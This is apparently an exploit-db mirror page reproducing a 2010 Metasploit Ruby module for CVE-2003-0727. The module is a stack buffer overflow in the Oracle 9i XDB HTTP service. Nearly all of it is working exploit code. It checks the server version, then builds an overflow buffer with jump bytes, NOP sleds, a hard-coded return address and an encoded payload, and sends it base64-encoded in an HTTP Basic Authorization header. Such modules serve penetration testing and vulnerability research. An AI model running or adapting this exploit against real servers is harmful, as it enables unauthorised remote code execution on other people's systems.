Oracle 9i XDB (Windows x86) – HTTP PASS Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16809/
  • ##
    # $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in the authorization
    				code of the Oracle 9i HTTP XDB service. David Litchfield,
    				has illustrated multiple vulnerabilities in the Oracle
    				9i XML Database (XDB), during a seminar on "Variations
    				in exploit methods between Linux and Windows" presented
    				at the Blackhat conference.
    			},
    			'Author' => [ 'MC' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE', '2003-0727'],
    					['OSVDB', '2449'],
    					['BID', '8375'],
    					['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 400,
    					'BadChars' => "\x00",
    					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Aug 18 2003'))
    
    		register_options(
    			[
    				Opt::RPORT(8080)
    			], self.class )
    	end
    
    	def check
    		connect
    		sock.put("GET / HTTP/1.0\r\n\r\n")
    		resp = sock.get_once
    		disconnect
    
    		if (resp =~ /9.2.0.1.0/)
    			return Exploit::CheckCode::Vulnerable
    		end
    			return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		connect
    
    		sploit =rand_text_english(4, payload_badchars) + ":"
    		sploit << rand_text_english(442, payload_badchars)
    		sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
    		sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded
    
    		req= "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"
    
    		res= "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req
    
    		print_status("Trying target %s..." % target.name)
    
    		sock.put(res)
    
    		handler
    		disconnect
    	end
    
    end